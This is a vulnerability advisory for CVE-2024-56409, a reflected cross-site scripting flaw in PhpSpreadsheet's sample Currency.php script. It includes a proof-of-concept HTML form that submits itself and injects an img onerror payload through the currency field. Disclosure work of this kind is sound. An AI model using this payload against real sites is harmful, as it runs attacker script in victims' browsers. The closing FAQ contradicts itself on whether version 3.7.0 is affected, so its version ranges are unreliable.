CVE-2024-56409: PhpSpreadsheet vulnerable to unauthorized reflected XSS in Currency.php file
Unauthorized Reflected XSS in Currency.php file
Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the currency variable Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Currency.php file) in Phpspreadsheet.
There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, controlled by an attacker.
!fig9
Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization
An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.
Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://192.../vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST"> <input type="hidden" name="number" value="1234.5678" /> <input type="hidden" name="currency" value="$'"<img src=1 onerror=alert()>" /> <input type="hidden" name="decimals" value="2" /> <input type="hidden" name="position" value="1" /> <input type="hidden" name="spacing" value="0" /> <input type="hidden" name="submit" value="Display Mask" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>
After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form.
<img width="428" alt="fig10" src="https://github.com/user-attachments/assets/2be8c94b-03ac-40d9-aa7a-9d326eb79335" />
Figure 10. Executing arbitrary JavaScript code
Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
Other sources
PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 are vulnerable to unauthorized reflected cross-site scripting in the Currency.php file. Using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform a cross-site scripting attack. Versions 3.7.0, 2.3.5, 2.1.6, and 1.29.7 contain a patch for the issue.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2024-56409?
The severity of CVE-2024-56409 is rated 8.2, indicating a high risk level due to unauthorized reflected XSS vulnerability.
How do I fix CVE-2024-56409?
To fix CVE-2024-56409, upgrade to a safe version of PhpSpreadsheet, specifically 2.3.5, 2.1.6, 1.29.7, or any version above 3.7.0.
What type of vulnerability is CVE-2024-56409?
CVE-2024-56409 is a Cross-site Scripting (XSS) vulnerability caused by improper neutralization of input.
Which versions of PhpSpreadsheet are affected by CVE-2024-56409?
CVE-2024-56409 affects PhpSpreadsheet versions between 2.2.0 and 2.3.4, as well as versions up to 1.29.6 and 3.0.0 to 3.7.0.
Is user interaction required for CVE-2024-56409 to be exploited?
Yes, user interaction is required for the exploitation of CVE-2024-56409, as it is a reflected XSS vulnerability.